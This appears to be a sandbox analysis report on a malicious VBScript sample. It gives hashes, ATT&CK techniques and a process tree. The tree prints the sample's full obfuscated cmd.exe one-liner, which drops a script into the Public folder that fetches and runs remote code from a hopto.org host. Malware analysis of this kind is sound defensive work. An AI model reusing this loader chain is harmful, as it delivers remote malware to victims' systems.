82d3be70f9514c5a0c2b9ad5e88d857d90040741a3291b4f4ef598e73a6e69c2

Analysis

max time kernel
148s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
08/09/2026, 12:25

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
519-Arch!vo-71mf8D8xKScY1MaccMZPuYi.vbs
Size 3KB
Sample260908-plm3vafd99
SHA256 82d3be70f9514c5a0c2b9ad5e88d857d90040741a3291b4f4ef598e73a6e69c2
MD5 c1af742f1ddd67c2753df12e43bfe0a8
SHA1 ffc0c17c41349f822e54114eb53e693857002e52
SHA512 891bd540bda1594b8d372d5c8031ebb15f9b0e90e8c6b7eef277d5b01dbd23dce3b86e238b5f2e451d49f99d7257b52d872709af321eee7608979cffe5a2f241
TLSH
T10D81FDA6692575879B8A05C53862DFE60E7EE6F441883CF1CF24DFCA2B83D3994430E5
MD5 SHA1 SHA512 TLSH

Score

5^/10

execution

Malware Config

Signatures

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
2296	WScript.exe
2836	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 3 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3328	cmd.exe
1976	cmd.exe
2008	cmd.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\Local Settings	cmd.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 2836 wrote to memory of 3328	2836	WScript.exe	89
PID 3328 wrote to memory of 1196	3328	cmd.exe	91
PID 3328 wrote to memory of 1976	3328	cmd.exe	92
PID 1976 wrote to memory of 2008	1976	cmd.exe	93
PID 2008 wrote to memory of 2296	2008	cmd.exe	95

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\519-Arch!vo-71mf8D8xKScY1MaccMZPuYi.vbs"
1⤵
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
PID:2836
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmD ^/V/D/c ecHo function hFyLMLO(XI2SoX3102) hFyLMLO= replace(XI2SoX3102,"S7DkK","c" ): end fUnction: mycNPMTpUbJIb286="Sc": l2ZsSJndTwpVaB381="Tp": YbEWUy75855="1": bZ4Cnbc267 = hFyLMLO(mycNPMTpUbJIb286 +"ri*pt*:H*t"+ l2ZsSJndTwpVaB381 +"s://r4bS7DkKm5.hopto.org*/g*" + YbEWUy75855): GetObject(rjwyk(bZ4Cnbc267)) :function rjwyk(g0NetQ0tpJ5T151) rjwyk= replaCe(g0NetQ0tpJ5T151,"*","" ): end fUnction > nUl > %PUblic%\^YbEWUy75855.vbs |^start cmd /c start %PUblic%\^YbEWUy75855.vbs
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3328
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" ecHo function hFyLMLO(XI2SoX3102) hFyLMLO= replace(XI2SoX3102,"S7DkK","c" ): end fUnction: mycNPMTpUbJIb286="Sc": l2ZsSJndTwpVaB381="Tp": YbEWUy75855="1": bZ4Cnbc267 = hFyLMLO(mycNPMTpUbJIb286 +"ri*pt*:H*t"+ l2ZsSJndTwpVaB381 +"s://r4bS7DkKm5.hopto.org*/g*" + YbEWUy75855): GetObject(rjwyk(bZ4Cnbc267)) :function rjwyk(g0NetQ0tpJ5T151) rjwyk= replaCe(g0NetQ0tpJ5T151,"*","" ): end fUnction 1>C:\Users\Public\YbEWUy75855.vbs"
    3⤵
    PID:1196
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" start cmd /c start C:\Users\Public\YbEWUy75855.vbs"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1976
  - - C:\Windows\system32\cmd.exe
      cmd /c start C:\Users\Public\YbEWUy75855.vbs
      4⤵
      Executes a command shell one-liner
      Modifies registry class
      Suspicious use of WriteProcessMemory
      PID:2008
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Public\YbEWUy75855.vbs"
        5⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:2296

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

YbEWUy75855.vbs

Path C:\Users\Public\YbEWUy75855.vbs
Size 391B
SHA256 56eee51c521fa478136f3593a22e21bf8575b42b3f7effe7913c1a4607a3a896
MD5 a363074227fa35db6474f704caae70be
SHA1 9a01900c5cb260499ce2dafdee500a0e68988c8e
SHA512 1dc045a254dfa515fd51e5ba076423d1b15e3636ec9d270a3fc620a853c011ab53147d9b4a8b4bcbeb12df52a3d40afd76ce03a4f08780594231860210746267
TLSH
T162E0FAAE1AD4F441C35720D8D053CF54473B706791D639646C65E3D625F04FEC443434
MD5 SHA1 SHA512 TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads